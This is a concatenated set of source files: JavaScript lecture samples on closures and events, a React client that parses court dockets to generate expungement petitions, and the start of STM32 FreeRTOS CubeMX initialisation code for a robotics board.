myAcct.on('accountOverdrawn', printWarn);
myAcct.deposit(1000);
myAcct.withdraw(600);
myAcct.withdraw(600);
<file_sep>/eventSamples/README.md
This folder goes with APW:JS lectures 4-5: Events
callbacks1.js/callbacks2.js - files demonstrating how to use basic callbacks
and event listeners
closure.js - a file demonstrating how to provide closure and what that means
emits.js - an ES6 syntax file that demonstrates how to create a class that
can emit events
inheritedemits.js - an ES6 syntax file that demonstrates how to create a
class that inherits from events and can emit events directly
self.js - file that demonstrates what self-invoking function is and how it
can also provide closure
<file_sep>/eventSamples/closure.js
/*closure.js
<NAME>
Aug 2020
Modified from listing 4.6 in NodeJS, MongDB, and Angular Web Development by
Dayley, Dayley and Dayley.
Providing Closure to a function is simply a way to provide a local copy
of global state so that your async functions get the data that they are
supposed to get.
*/
function logCar(logMSG, callback){
process.nextTick(function() { callback(logMSG); });
}
var cars = ["Ferrari", "Porcshe", "Bugatti"];
//remember that let declarations have block scope. That means there will
//be a different copy of message for each iteration of the loop
//This is basically what it means to provide closure.
for (var idx in cars){
let message = "Saw a " + cars[idx];
logCar(message, function(){
console.log("with Let closure: "+ message);
});
}
//but here is there is only one function-scoped declaration. One copy for
//every iteration. By the time the first log statement runs, the idx
//value has already hit the max value so it prints the same thing over and over
for (var idx in cars){
var message = "Saw a " + cars[idx];
logCar(message, function(){
console.log("Without Closure:"+ message);
});
}
// OLD WAY of Providing closure
//defines a function and runs immediately with message as argument, effectively
//giving the anonymous function a private (aka local) variable
//Phew, thank goodness for let
for (var idx in cars){
var message = "Saw a " + cars[idx];
(function(msg){
logCar(msg, function(){
console.log("Old Closure: " + msg);
});
})(message);
}
|
ee0d26924b4a38cfa25c6bf6ffe02a3911f07c41
|
[
"JavaScript",
"Markdown"
] | 4
|
JavaScript
|
ProfJake/lecture4
|
7850942e761aca2961dcf022d9390e7a7403e519
|
5f2813d1e3a8120fab4f204c10398c59b70d2bfb
|
refs/heads/master
|
<repo_name>Philadelphia-Lawyers-for-Social-Equity/plse-client<file_sep>/src/components/nav.js
import React from "react";
//import { BrowserRouter as Link } from "react-router-dom";
import { Navbar, Nav } from "react-bootstrap";
const nav = () => (
<Navbar collapseOnSelect expand="lg" bg="light" variant="light" inverse fluid>
<Navbar.Brand href="/">
<img
src="http://plsephilly.org/wp-content/uploads/2014/11/PLSE_logotype_320.png"
width="90"
height="30"
className="d-inline-block align-top"
alt="PLSE logo"
/>
</Navbar.Brand>
<Navbar.Toggle aria-controls="basic-navbar-nav" />
<Navbar.Collapse id="basic-navbar-nav">
<Nav className="ml-auto">
<Nav.Link href="/signup">
Sign up
</Nav.Link>
{localStorage.getItem("access_token") && <Nav.Link href="/">Log in</Nav.Link>}
{!localStorage.getItem("access_token") && <Nav.Link href="/">Log out</Nav.Link>}
</Nav>
</Navbar.Collapse>
</Navbar>
);
export default nav;
<file_sep>/src/App.js
import React, { useState } from "react";
//import axios from 'axios';
import "./App.css";
import { BrowserRouter as Router, Route } from "react-router-dom"; // removed Switch
//import PrivateRoute from "./PrivateRoute";
import { AuthContext } from "./context/auth";
//import AdminPage from "../src/components/AdminPage";
import LoginForm from "../src/components/LoginForm";
import LandingPage from "../src/components/LandingPage";
import FileUpload from "../src/components/FileUpload";
// import InputForm from "../src/components/InputForm";
import ProfilePage from "../src/components/ProfilePage";
import BodyBackgroundColor from "react-body-backgroundcolor";
import SignUp from "./components/SignUp/signUp";
import Nav from "./components/nav";
function App(props) {
const [authTokens, setAuthTokens] = useState();
const setTokens = data => {
localStorage.setItem("tokens", JSON.stringify(data));
setAuthTokens(data);
};
// render() {
return (
<AuthContext.Provider value={{ authTokens, setAuthTokens: setTokens }}>
<Router>
<Nav />
<BodyBackgroundColor backgroundColor="#d9ecf9">
<Route path="/" render={props => <LoginForm {...props} isAuthed={true} />} />
</BodyBackgroundColor>
<BodyBackgroundColor backgroundColor="#d9ecf9">
<Route path="/login" render={props => <LoginForm {...props} isAuthed={true} />} />
</BodyBackgroundColor>
<BodyBackgroundColor backgroundColor="#d9ecf9">
<Route path="/signup" component={SignUp} />
</BodyBackgroundColor>
<BodyBackgroundColor backgroundColor="gray">
<Route path="/landing" component={LandingPage} />
</BodyBackgroundColor>
<BodyBackgroundColor backgroundColor="gray">
<Route path="/upload" component={FileUpload} />
</BodyBackgroundColor>
{/* <BodyBackgroundColor backgroundColor="#d9ecf9">
<Route path="/inputform" component={InputForm} />
</BodyBackgroundColor> */}
<BodyBackgroundColor backgroundColor="#d9ecf9">
<Route path="/profile" component={ProfilePage} />
</BodyBackgroundColor>
</Router>
</AuthContext.Provider>
);
}
export default App;
<file_sep>/src/components/FileUpload/index.js
import React, { useState } from 'react';
import { useHistory } from 'react-router-dom';
import "./style.css";
import axios from 'axios';
import { Button, Modal, Col, Form, Row, Table } from 'react-bootstrap';
// thead, tbody, tr, td, th
// import { useAuth } from '../../context/auth';
export default function FileUpload() {
const history = useHistory();
const [fileName, setFileName] = useState(undefined);
const [isError, setIsError] = useState(false);
const [isError2, setIsError2] = useState(false);
const [filePassed, setFilePassed] = useState(false);
const [charges, setCharges] = useState({});
const [fullName, setFullName] = useState("");
const [firstName, setFirstName] = useState("");
const [middleInitial, setMiddleInitial] = useState("");
const [lastName, setLastName] = useState("");
const [suffix, setSuffix] = useState("");
const [aliases, setAliases] = useState("");
const [dob, setDOB] = useState("");
const [street1, setStreet1] = useState("");
const [street2, setStreet2] = useState("");
const [city, setCity] = useState("");
const [twoLetterState, setTwoLetterState] = useState("");
const [zipcode, setZipcode] = useState("");
const [ssn, setSSN] = useState("");
const [otn, setOTN] = useState("");
const [dc, setDC] = useState("");
const [arrestAgency, setArrestAgency] = useState("");
const [arrestDate, setArrestDate] = useState("");
const [arrestOfficer, setArrestOfficer] = useState("");
const [judge, setJudge] = useState("");
const [docket, setDocket] = useState("");
const [restitutionTotal, setRestitutionTotal] = useState(0.0);
const [restitutionPaid, setRestitutionPaid] = useState(0.0);
// On click for the cancel button
function returnLogin() {
history.push("/login");
}
// On change for getting file
function getFile(files) {
setFileName(files[0]);
}
// On click to store the attorney information to local storage
function choseFile() {
console.log(fileName);
// Need to check if a file is chosen
if (fileName === undefined) {
setIsError(true);
}
else {
let pdfdata = new FormData();
pdfdata.append('name', 'docket_file');
pdfdata.append('docket_file', fileName);
// console.log(pdfdata);
// post to generate profile
const url = process.env.REACT_APP_BACKEND_HOST + "/api/v0.2.0/petition/parse-docket/";
const bearer = "Bearer ";
const token = bearer.concat(localStorage.getItem("access_token"));
var config = {
'headers': { 'Authorization': token }
};
axios.post(url, pdfdata, config)
.then(res => {
if (res.status === 200) {
console.log(res.data);
setDocket(res.data.docket);
setFullName(res.data.petitioner.name);
var fullName = res.data.petitioner.name;
var nameArray = fullName.split(" ");
if (nameArray.length === 4) {
setFirstName(nameArray[0]);
setMiddleInitial(nameArray[1][0]);
setLastName(nameArray[2]);
setSuffix(nameArray[3]);
}
else if (nameArray.length === 3 && nameArray[1][1] === "." || nameArray[1].length === 1) {
setFirstName(nameArray[0]);
setMiddleInitial(nameArray[1][0]);
setLastName(nameArray[2]);
}
else if (nameArray.length === 3) {
setFirstName(nameArray[0]);
setLastName(nameArray[1]);
setSuffix(nameArray[2]);
}
else if (nameArray.length === 2) {
setFirstName(nameArray[0]);
setLastName(nameArray[1]);
}
setCharges(res.data.charges);
setAliases(res.data.petitioner.aliases);
setDOB(res.data.petitioner.dob);
setOTN(res.data.petition.otn);
setArrestAgency(res.data.petition.arrest_agency);
setArrestDate(res.data.petition.arrest_date);
setArrestOfficer(res.data.petition.arrest_officer);
setJudge(res.data.petition.judge);
//missing arrest date, DC number, restitution amounts (pending Pablo)
setFilePassed(true);
}
})
.catch(err => {
console.log(err);
});
}
}
// On click to store the client information to local storage
function checkInfo() {
// No attorney chosen if blank
if (street1 === "" || city === "" || twoLetterState === "" || zipcode === "" || ssn === "") {
setIsError2(true);
}
else {
// Make the Post call
getDocFile();
}
}
function getDocFile() {
// var fullNameList = [ firstName, middleInitial, lastName, suffix ];
// var fullNameJoined = fullNameList.join(" ");
// // user changed the name, do we want to replace the name?
// if (fullName != fullNameJoined) {
// console.log(fullName);
// console.log(fullNameJoined);
// //fullName = fullNameJoined;
// }
// Current date
var today = new Date();
var dd = String(today.getDate()).padStart(2, '0');
var mm = String(today.getMonth() + 1).padStart(2, '0');
var yyyy = today.getFullYear();
today = yyyy + '-' + mm + '-' + dd;
const realData = {
"petitioner": {
"name": fullName,
"aliases": aliases,
"dob": dob,
"ssn": ssn,
"address": {
"street1": street1,
"street2": street2,
"city": city,
"state": twoLetterState,
"zipcode": zipcode
}
},
"petition": {
"date": today,
"petition_type": "expungement",
"otn": otn,
"dc": dc,
"arrest_agency": arrestAgency,
"arrest_date": arrestDate,
"arrest_officer": arrestOfficer,
"judge": judge
},
"charges" : charges,
"docket": docket,
"restitution": {
"total": parseFloat(restitutionTotal),
"paid": parseFloat(restitutionPaid)
}
}
console.log(realData);
// Mock data from Pablo that we know will work
// const mockData = {
// "petitioner": {
// "name": "<NAME>",
// "aliases": ["Total Gym"],
// "dob": "2001-11-7",
// "ssn": "224-44-5555",
// "address": {
// "street1": "1617 Jfk",
// "street2": "Apt 1",
// "city": "Philadelphia",
// "state": "PA",
// "zipcode": "21711"
// }
// },
// "petition": {
// "date": "2019-11-27",
// "petition_type": "expungement",
// "otn": "Offense Tracking Number",
// "dc": "wat is this",
// "arrest_date": "2017-04-16",
// "arrest_officer": "<NAME>",
// "disposition": "Dismissed",
// "judge": "<NAME>"
// },
// "docket": "MC-51-CR-1234135-2001",
// "restitution": {
// "total": 20000,
// "paid": 36
// }
// }
// Make an axios POST call to api/v0.2.0/petition/generate/
const bearer = "Bearer ";
const token = bearer.concat(localStorage.getItem("access_token"));
var config = {
'responseType': 'arraybuffer',
'headers': { 'Authorization': token }
};
const url = process.env.REACT_APP_BACKEND_HOST + "/api/v0.2.0/petition/generate/";
axios.post(url, realData, config)
.then(
res => {
if (res.status === 200) {
// return data
// console.log("Posted");
let blob = new Blob([res.data], { type: "application/vnd.openxmlformats-officedocument.wordprocessingml.document" }),
downloadUrl = window.URL.createObjectURL(blob),
filename = "",
disposition = res.headers["content-disposition"];
// console.log(blob);
// console.log(disposition); // disposition is 'attachment; filename="petition.docx"'
if (disposition && disposition.indexOf("attachment") !== -1) {
let filenameRegex = /filename[^;=\n]*=((['"]).*?\2|[^;\n]*)/,
matches = filenameRegex.exec(disposition);
if (matches != null && matches[1]) {
filename = matches[1].replace(/['"]/g, "");
}
}
let a = document.createElement("a");
if (typeof a.download === "undefined") {
window.location.href = downloadUrl;
} else {
a.href = downloadUrl;
a.download = filename;
document.body.appendChild(a);
a.click();
}
} //close res status 200
} //close res
); //close then
} //close getDocFile function
return (
<div className="text-center">
<Modal.Dialog>
<Modal.Header>
<Modal.Title>Upload File</Modal.Title>
</Modal.Header>
<Modal.Body>
<Col>
<input type="file" name="docket_file" onChange={e => { getFile(e.target.files); }} />
</Col>
</Modal.Body>
<Modal.Footer>
<Button id="returnToLoginButton" onClick={returnLogin}>Cancel</Button>
<Button id="fileButton" onClick={choseFile}>Submit</Button>
{isError && <div>Please select a file</div>}
</Modal.Footer>
</Modal.Dialog>
{filePassed && <div>
<Row style={{ margin: `80px` }}>
<Col md={{ span: 8, offset: 2 }}>
<p>Please manually enter the client's Address and Social Security Number</p>
<Form>
<Form.Group as={Row} controlId="formPlaintextAddress">
<Col sm={3}>
<Form.Label>
<strong>Address</strong>
</Form.Label>
</Col>
<Col sm="8">
<Form.Control placeholder="Street Address" value={street1} onChange={e => {
setStreet1(e.target.value);
}} />
</Col>
<Col sm={3}>
<Form.Label>
</Form.Label>
</Col>
<Col sm="8">
<Form.Control placeholder="Optional Apt/Unit" value={street2} onChange={e => {
setStreet2(e.target.value);
}} />
</Col>
</Form.Group>
<Form.Group as={Row} controlId="formPlaintextCityStateZip">
<Col sm={3}>
<Form.Label>
</Form.Label>
</Col>
<Col sm={4}>
<Form.Control placeholder="City" value={city} onChange={e => {
setCity(e.target.value);
}} />
</Col>
<Col sm={2}>
<Form.Control placeholder="State (2-Letter)" value={twoLetterState} onChange={e => {
setTwoLetterState(e.target.value);
}} />
</Col>
<Col sm={2}>
<Form.Control placeholder="Zip" onChange={e => {
setZipcode(e.target.value);
}} />
</Col>
</Form.Group>
<Form.Group as={Row} controlId="formPlaintextSSNum">
<Col sm={3}>
<Form.Label>
<strong>Social Security</strong>
</Form.Label>
</Col>
<Col sm="6">
<Form.Control placeholder="###-##-####" onChange={e => {
setSSN(e.target.value);
}} />
</Col>
</Form.Group>
<Form.Group as={Row}></Form.Group>
<Form.Group as={Row}>
<Col sm={3}>
<Form.Label>
Docket Number
</Form.Label>
</Col>
<Col md={{ span: 8 }}>
<Form.Control placeholder="Docket Number" value={docket} onChange={e => {
setDocket(e.target.value);
}} />
</Col>
</Form.Group>
<Form.Group as={Row}>
<Col sm={3}>
<Form.Label>
Full Name
</Form.Label>
</Col>
<Col md={{ span: 8 }}>
<Form.Control placeholder="<NAME>" value={fullName} onChange={e => {
setFullName(e.target.value);
}} />
</Col>
</Form.Group>
<Form.Group as={Row}>
<Col sm={3}>
<Form.Label>
Aliases
</Form.Label>
</Col>
<Col md={{ span: 8 }}>
<Form.Control placeholder="Aliases (comma-separated)" value={aliases} onChange={e => {
setAliases(e.target.value);
}} />
</Col>
</Form.Group>
<Form.Group as={Row}>
<Col sm={3}>
<Form.Label>
Date of Birth
</Form.Label>
</Col>
<Col md={{ span: 3 }}>
<Form.Control placeholder="yyyy-mm-dd" value={dob} onChange={e => {
setDOB(e.target.value);
}} />
</Col>
</Form.Group>
<Form.Group as={Row}>
<Col sm={3}>
<Form.Label>
OTN Number
</Form.Label>
</Col>
<Col md={{ span: 8 }}>
<Form.Control placeholder="########" value={otn} onChange={e => {
setOTN(e.target.value);
}} />
</Col>
</Form.Group>
<Form.Group as={Row}>
<Col sm={3}>
<Form.Label>
DC
</Form.Label>
</Col>
<Col md={{ span: 8 }}>
<Form.Control placeholder="########" onChange={e => {
setDC(e.target.value);
}} />
</Col>
</Form.Group>
<Form.Group as={Row}>
<Col sm={3}>
<Form.Label>
Arrest Date
</Form.Label>
</Col>
<Col md={{ span: 8 }}>
<Form.Control placeholder="yyyy-mm-dd" value={arrestDate} onChange={e => {
setArrestDate(e.target.value);
}} />
</Col>
</Form.Group>
<Form.Group as={Row}>
<Col sm={3}>
<Form.Label>
Arrest Agency
</Form.Label>
</Col>
<Col md={{ span: 8 }}>
<Form.Control placeholder="Arresting Agency" value={arrestAgency} onChange={e => {
setArrestAgency(e.target.value);
}} />
</Col>
</Form.Group>
<Form.Group as={Row}>
<Col sm={3}>
<Form.Label>
Arrest Officer
</Form.Label>
</Col>
<Col sm="8">
<Form.Control placeholder="First Last" value={arrestOfficer} onChange={e => {
setArrestOfficer(e.target.value);
}} />
</Col>
</Form.Group>
<Form.Group as={Row}>
<Col sm={3}>
<Form.Label>
Full Name of Judge
</Form.Label>
</Col>
<Col sm="8">
<Form.Control placeholder="First Last" value={judge} onChange={e => {
setJudge(e.target.value);
}} />
</Col>
</Form.Group>
<Form.Group as={Row}>
<Col sm={3}>
<Form.Label>
Restitution Amount
</Form.Label>
</Col>
<Col sm={4}>
<Form.Control placeholder="Total" id="totalRestitution" onChange={e => {
setRestitutionTotal(e.target.value);
}} />
</Col>
<Col sm={4}>
<Form.Control placeholder="Paid" id="paidRestitution" onChange={e => {
setRestitutionPaid(e.target.value);
}} />
</Col>
</Form.Group>
<Row>
<Col>
<Table>
<thead>
<tr>
<th>Statute</th>
<th>Date</th>
<th>Grade</th>
<th>Description</th>
<th>Disposition</th>
</tr>
</thead>
<tbody>
{charges.map(charge => (<tr>
<td key={charge.statute}>{charge.statute}</td>
<td key={charge.date}>{charge.date}</td>
<td key={charge.grade}>{charge.grade}</td>
<td key={charge.description}>{charge.description}</td>
<td key={charge.disposition}>{charge.disposition}</td>
</tr>))}
</tbody>
</Table>
</Col>
</Row>
<Row>
<Col sm={3}>
</Col>
<Col sm={6}>
<Button id="ExpungeButton" onClick={checkInfo}>Expunge</Button>
{isError2 && <div>Please enter client address and social security number</div>}
</Col>
<Col sm={3}>
</Col>
</Row>
</Form>
</Col>
</Row>
</div>}
</div >
);
}
|
d9df855dce30fe3285993faada3e8e71d35b86ac
|
[
"JavaScript"
] | 3
|
JavaScript
|
Philadelphia-Lawyers-for-Social-Equity/plse-client
|
35272049679a5fce25e1f7a5a729f296bd468fc3
|
b426f7c4f85322c150e5e85956866f340aaa5cf9
|
refs/heads/master
|
<repo_name>alexacw/RM18A_FreeRTOS<file_sep>/Core/Inc/main.h
/* USER CODE BEGIN Header */
/**
******************************************************************************
* @file : main.h
* @brief : Header for main.c file.
* This file contains the common defines of the application.
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2019 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under Ultimate Liberty license
* SLA0044, the "License"; You may not use this file except in compliance with
* the License. You may obtain a copy of the License at:
* www.st.com/SLA0044
*
******************************************************************************
*/
/* USER CODE END Header */
/* Define to prevent recursive inclusion -------------------------------------*/
#ifndef __MAIN_H
#define __MAIN_H
#ifdef __cplusplus
extern "C" {
#endif
/* Includes ------------------------------------------------------------------*/
#include "stm32f4xx_hal.h"
/* Private includes ----------------------------------------------------------*/
/* USER CODE BEGIN Includes */
/* USER CODE END Includes */
/* Exported types ------------------------------------------------------------*/
/* USER CODE BEGIN ET */
/* USER CODE END ET */
/* Exported constants --------------------------------------------------------*/
/* USER CODE BEGIN EC */
/* USER CODE END EC */
/* Exported macro ------------------------------------------------------------*/
/* USER CODE BEGIN EM */
/* USER CODE END EM */
void HAL_TIM_MspPostInit(TIM_HandleTypeDef *htim);
/* Exported functions prototypes ---------------------------------------------*/
void Error_Handler(void);
/* USER CODE BEGIN EFP */
/* USER CODE END EFP */
/* Private defines -----------------------------------------------------------*/
#define IST8310_DRDY_Pin GPIO_PIN_3
#define IST8310_DRDY_GPIO_Port GPIOE
#define IST8310_RSTN_Pin GPIO_PIN_2
#define IST8310_RSTN_GPIO_Port GPIOE
#define IMU_INT_Pin GPIO_PIN_8
#define IMU_INT_GPIO_Port GPIOB
#define LASER_Pin GPIO_PIN_13
#define LASER_GPIO_Port GPIOG
#define POWER1_CTRL_Pin GPIO_PIN_2
#define POWER1_CTRL_GPIO_Port GPIOH
#define POWER2_CTRL_Pin GPIO_PIN_3
#define POWER2_CTRL_GPIO_Port GPIOH
#define POWER3_CTRL_Pin GPIO_PIN_4
#define POWER3_CTRL_GPIO_Port GPIOH
#define LED_A_Pin GPIO_PIN_8
#define LED_A_GPIO_Port GPIOG
#define AD_5VADJ_Pin GPIO_PIN_4
#define AD_5VADJ_GPIO_Port GPIOF
#define POWER4_CTRL_Pin GPIO_PIN_5
#define POWER4_CTRL_GPIO_Port GPIOH
#define LED_B_Pin GPIO_PIN_7
#define LED_B_GPIO_Port GPIOG
#define LED_C_Pin GPIO_PIN_6
#define LED_C_GPIO_Port GPIOG
#define HW_VC_AD_Pin GPIO_PIN_5
#define HW_VC_AD_GPIO_Port GPIOF
#define LED_D_Pin GPIO_PIN_5
#define LED_D_GPIO_Port GPIOG
#define LED_E_Pin GPIO_PIN_4
#define LED_E_GPIO_Port GPIOG
#define LED_F_Pin GPIO_PIN_3
#define LED_F_GPIO_Port GPIOG
#define LED_G_Pin GPIO_PIN_2
#define LED_G_GPIO_Port GPIOG
#define KEY_Pin GPIO_PIN_2
#define KEY_GPIO_Port GPIOB
#define LED_H_Pin GPIO_PIN_1
#define LED_H_GPIO_Port GPIOG
#define BUZZER_Pin GPIO_PIN_6
#define BUZZER_GPIO_Port GPIOH
#define LED_RED_Pin GPIO_PIN_11
#define LED_RED_GPIO_Port GPIOE
#define LED_GREEN_Pin GPIO_PIN_14
#define LED_GREEN_GPIO_Port GPIOF
#define SD_EXTI_Pin GPIO_PIN_15
#define SD_EXTI_GPIO_Port GPIOE
/* USER CODE BEGIN Private defines */
/* USER CODE END Private defines */
#ifdef __cplusplus
}
#endif
#endif /* __MAIN_H */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
<file_sep>/Core/Src/main.c
/* USER CODE BEGIN Header */
/**
******************************************************************************
* @file : main.c
* @brief : Main program body
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2019 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under Ultimate Liberty license
* SLA0044, the "License"; You may not use this file except in compliance with
* the License. You may obtain a copy of the License at:
* www.st.com/SLA0044
*
******************************************************************************
*/
/* USER CODE END Header */
/* Includes ------------------------------------------------------------------*/
#include "main.h"
#include "cmsis_os.h"
/* Private includes ----------------------------------------------------------*/
/* USER CODE BEGIN Includes */
/* USER CODE END Includes */
/* Private typedef -----------------------------------------------------------*/
/* USER CODE BEGIN PTD */
/* USER CODE END PTD */
/* Private define ------------------------------------------------------------*/
/* USER CODE BEGIN PD */
/* USER CODE END PD */
/* Private macro -------------------------------------------------------------*/
/* USER CODE BEGIN PM */
/* USER CODE END PM */
/* Private variables ---------------------------------------------------------*/
ADC_HandleTypeDef hadc1;
ADC_HandleTypeDef hadc2;
ADC_HandleTypeDef hadc3;
CAN_HandleTypeDef hcan1;
CAN_HandleTypeDef hcan2;
CRC_HandleTypeDef hcrc;
DAC_HandleTypeDef hdac;
I2C_HandleTypeDef hi2c2;
SD_HandleTypeDef hsd;
SPI_HandleTypeDef hspi1;
SPI_HandleTypeDef hspi4;
SPI_HandleTypeDef hspi5;
TIM_HandleTypeDef htim1;
TIM_HandleTypeDef htim2;
TIM_HandleTypeDef htim3;
TIM_HandleTypeDef htim4;
TIM_HandleTypeDef htim5;
TIM_HandleTypeDef htim8;
TIM_HandleTypeDef htim12;
UART_HandleTypeDef huart7;
UART_HandleTypeDef huart8;
UART_HandleTypeDef huart1;
UART_HandleTypeDef huart2;
UART_HandleTypeDef huart3;
UART_HandleTypeDef huart6;
osThreadId defaultTaskHandle;
/* USER CODE BEGIN PV */
/* USER CODE END PV */
/* Private function prototypes -----------------------------------------------*/
void SystemClock_Config(void);
static void MX_GPIO_Init(void);
static void MX_CRC_Init(void);
static void MX_USB_OTG_FS_USB_Init(void);
static void MX_SDIO_SD_Init(void);
static void MX_CAN1_Init(void);
static void MX_CAN2_Init(void);
static void MX_I2C2_Init(void);
static void MX_ADC1_Init(void);
static void MX_ADC2_Init(void);
static void MX_DAC_Init(void);
static void MX_SPI1_Init(void);
static void MX_TIM1_Init(void);
static void MX_TIM2_Init(void);
static void MX_TIM3_Init(void);
static void MX_TIM4_Init(void);
static void MX_TIM5_Init(void);
static void MX_TIM12_Init(void);
static void MX_UART8_Init(void);
static void MX_USART1_UART_Init(void);
static void MX_USART2_UART_Init(void);
static void MX_USART3_UART_Init(void);
static void MX_USART6_UART_Init(void);
static void MX_ADC3_Init(void);
static void MX_SPI4_Init(void);
static void MX_SPI5_Init(void);
static void MX_TIM8_Init(void);
static void MX_UART7_Init(void);
void StartDefaultTask(void const *argument);
/* USER CODE BEGIN PFP */
/* USER CODE END PFP */
/* Private user code ---------------------------------------------------------*/
/* USER CODE BEGIN 0 */
/* USER CODE END 0 */
/**
* @brief The application entry point.
* @retval int
*/
int main(void)
{
/* USER CODE BEGIN 1 */
/* USER CODE END 1 */
/* MCU Configuration--------------------------------------------------------*/
/* Reset of all peripherals, Initializes the Flash interface and the Systick. */
HAL_Init();
/* USER CODE BEGIN Init */
/* USER CODE END Init */
/* Configure the system clock */
SystemClock_Config();
/* USER CODE BEGIN SysInit */
/* USER CODE END SysInit */
/* Initialize all configured peripherals */
MX_GPIO_Init();
MX_CRC_Init();
MX_USB_OTG_FS_USB_Init();
MX_SDIO_SD_Init();
MX_CAN1_Init();
MX_CAN2_Init();
MX_I2C2_Init();
MX_ADC1_Init();
MX_ADC2_Init();
MX_DAC_Init();
MX_SPI1_Init();
MX_TIM1_Init();
MX_TIM2_Init();
MX_TIM3_Init();
MX_TIM4_Init();
MX_TIM5_Init();
MX_TIM12_Init();
MX_UART8_Init();
MX_USART1_UART_Init();
MX_USART2_UART_Init();
MX_USART3_UART_Init();
MX_USART6_UART_Init();
MX_ADC3_Init();
MX_SPI4_Init();
MX_SPI5_Init();
MX_TIM8_Init();
MX_UART7_Init();
/* USER CODE BEGIN 2 */
/* USER CODE END 2 */
/* USER CODE BEGIN RTOS_MUTEX */
/* add mutexes, ... */
/* USER CODE END RTOS_MUTEX */
/* USER CODE BEGIN RTOS_SEMAPHORES */
/* add semaphores, ... */
/* USER CODE END RTOS_SEMAPHORES */
/* USER CODE BEGIN RTOS_TIMERS */
/* start timers, add new ones, ... */
/* USER CODE END RTOS_TIMERS */
/* USER CODE BEGIN RTOS_QUEUES */
/* add queues, ... */
/* USER CODE END RTOS_QUEUES */
/* Create the thread(s) */
/* definition and creation of defaultTask */
osThreadDef(defaultTask, StartDefaultTask, osPriorityNormal, 0, 128);
defaultTaskHandle = osThreadCreate(osThread(defaultTask), NULL);
/* USER CODE BEGIN RTOS_THREADS */
/* add threads, ... */
/* USER CODE END RTOS_THREADS */
/* Start scheduler */
osKernelStart();
/* We should never get here as control is now taken by the scheduler */
/* Infinite loop */
/* USER CODE BEGIN WHILE */
while (1)
{
/* USER CODE END WHILE */
/* USER CODE BEGIN 3 */
}
/* USER CODE END 3 */
}
/**
* @brief System Clock Configuration
* @retval None
*/
void SystemClock_Config(void)
{
RCC_OscInitTypeDef RCC_OscInitStruct = {0};
RCC_ClkInitTypeDef RCC_ClkInitStruct = {0};
/** Configure the main internal regulator output voltage
*/
__HAL_RCC_PWR_CLK_ENABLE();
__HAL_PWR_VOLTAGESCALING_CONFIG(PWR_REGULATOR_VOLTAGE_SCALE3);
/** Initializes the CPU, AHB and APB busses clocks
*/
RCC_OscInitStruct.OscillatorType = RCC_OSCILLATORTYPE_HSE;
RCC_OscInitStruct.HSEState = RCC_HSE_ON;
RCC_OscInitStruct.PLL.PLLState = RCC_PLL_ON;
RCC_OscInitStruct.PLL.PLLSource = RCC_PLLSOURCE_HSE;
RCC_OscInitStruct.PLL.PLLM = 6;
RCC_OscInitStruct.PLL.PLLN = 72;
RCC_OscInitStruct.PLL.PLLP = RCC_PLLP_DIV2;
RCC_OscInitStruct.PLL.PLLQ = 3;
if (HAL_RCC_OscConfig(&RCC_OscInitStruct) != HAL_OK)
{
Error_Handler();
}
/** Initializes the CPU, AHB and APB busses clocks
*/
RCC_ClkInitStruct.ClockType = RCC_CLOCKTYPE_HCLK | RCC_CLOCKTYPE_SYSCLK | RCC_CLOCKTYPE_PCLK1 | RCC_CLOCKTYPE_PCLK2;
RCC_ClkInitStruct.SYSCLKSource = RCC_SYSCLKSOURCE_PLLCLK;
RCC_ClkInitStruct.AHBCLKDivider = RCC_SYSCLK_DIV1;
RCC_ClkInitStruct.APB1CLKDivider = RCC_HCLK_DIV2;
RCC_ClkInitStruct.APB2CLKDivider = RCC_HCLK_DIV1;
if (HAL_RCC_ClockConfig(&RCC_ClkInitStruct, FLASH_LATENCY_2) != HAL_OK)
{
Error_Handler();
}
}
/**
* @brief ADC1 Initialization Function
* @param None
* @retval None
*/
static void MX_ADC1_Init(void)
{
/* USER CODE BEGIN ADC1_Init 0 */
/* USER CODE END ADC1_Init 0 */
ADC_ChannelConfTypeDef sConfig = {0};
/* USER CODE BEGIN ADC1_Init 1 */
/* USER CODE END ADC1_Init 1 */
/** Configure the global features of the ADC (Clock, Resolution, Data Alignment and number of conversion)
*/
hadc1.Instance = ADC1;
hadc1.Init.ClockPrescaler = ADC_CLOCK_SYNC_PCLK_DIV2;
hadc1.Init.Resolution = ADC_RESOLUTION_12B;
hadc1.Init.ScanConvMode = DISABLE;
hadc1.Init.ContinuousConvMode = DISABLE;
hadc1.Init.DiscontinuousConvMode = DISABLE;
hadc1.Init.ExternalTrigConvEdge = ADC_EXTERNALTRIGCONVEDGE_NONE;
hadc1.Init.ExternalTrigConv = ADC_SOFTWARE_START;
hadc1.Init.DataAlign = ADC_DATAALIGN_RIGHT;
hadc1.Init.NbrOfConversion = 1;
hadc1.Init.DMAContinuousRequests = DISABLE;
hadc1.Init.EOCSelection = ADC_EOC_SINGLE_CONV;
if (HAL_ADC_Init(&hadc1) != HAL_OK)
{
Error_Handler();
}
/** Configure for the selected ADC regular channel its corresponding rank in the sequencer and its sample time.
*/
sConfig.Channel = ADC_CHANNEL_6;
sConfig.Rank = 1;
sConfig.SamplingTime = ADC_SAMPLETIME_3CYCLES;
if (HAL_ADC_ConfigChannel(&hadc1, &sConfig) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN ADC1_Init 2 */
/* USER CODE END ADC1_Init 2 */
}
/**
* @brief ADC2 Initialization Function
* @param None
* @retval None
*/
static void MX_ADC2_Init(void)
{
/* USER CODE BEGIN ADC2_Init 0 */
/* USER CODE END ADC2_Init 0 */
ADC_ChannelConfTypeDef sConfig = {0};
/* USER CODE BEGIN ADC2_Init 1 */
/* USER CODE END ADC2_Init 1 */
/** Configure the global features of the ADC (Clock, Resolution, Data Alignment and number of conversion)
*/
hadc2.Instance = ADC2;
hadc2.Init.ClockPrescaler = ADC_CLOCK_SYNC_PCLK_DIV2;
hadc2.Init.Resolution = ADC_RESOLUTION_12B;
hadc2.Init.ScanConvMode = DISABLE;
hadc2.Init.ContinuousConvMode = DISABLE;
hadc2.Init.DiscontinuousConvMode = DISABLE;
hadc2.Init.ExternalTrigConvEdge = ADC_EXTERNALTRIGCONVEDGE_NONE;
hadc2.Init.ExternalTrigConv = ADC_SOFTWARE_START;
hadc2.Init.DataAlign = ADC_DATAALIGN_RIGHT;
hadc2.Init.NbrOfConversion = 1;
